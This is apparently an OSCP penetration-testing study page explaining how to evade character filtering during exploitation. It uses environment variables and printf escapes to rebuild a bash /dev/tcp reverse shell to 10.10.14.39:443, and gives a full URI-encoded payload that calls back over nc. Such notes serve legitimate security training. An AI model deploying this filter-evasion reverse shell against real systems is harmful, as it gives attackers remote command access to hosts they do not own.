> For the complete documentation index, see [llms.txt](https://refabr1k.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://refabr1k.gitbook.io/oscp/exploitation-1/using-env-to-escape-bad-characters.md).

# Using ENV to escape Bad Characters

Basically our reverse shell command /bin/bash -i >& /dev/tcp/10.10.14.39/443 0>&1 will not be executed successfully as / characters are being replaced. How do we get around this? 

If Env contains a variable we can use. For example, the `/` character is being escaped during our exploitation phase to get a reverse shell. 

```bash
# Env contains a variable
OLDPWD=/
HOME=/
PHP_FCGI_MAX_REQUESTS=500
PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin
LANG=en_US.ISO8859-1
PHP_FCGI_CHILDREN=1
PWD=/var/db/rrd

```

Looking at the above Env values We can replace `'$(HOME)'` with `/`

And format the `'$LANG'` variable as such IN NON-BSD:

![](/files/-MN3BrekscrIEbSEYVUq)

But If the OS is BSD format so we are not able to format it like above, instead we use linux printf

![](/files/-MN3CB7LlqJhXG-iP08t)

We can test out we will print out a reverse shell command with replaced badcharacters

```bash
# - character
a=$(printf "\55")	

# / character
b=$(printf "\57")	

# & character
c=$(printf "\46")

# > character
d=$(printf "\76")
```

For this example, since the full payload will be URI encoded, the space characters will be encoded as '+'. The reverse shell payload will now be

```
a=$(printf+"\55");b=$(printf+"\57");c=$(printf+"\46");d=$(printf+"\76");echo+${b}bin${b}bash+${a}i+${d}${c}+${b}dev${b}tcp${b}10.10.14.39${b}443+0${d}${c}1|nc+10.10.14.39+443
```

Which converts successfully to the reverse shell command that was not working previously

![](/files/-MN3D8TsTa6WGg75AAgl)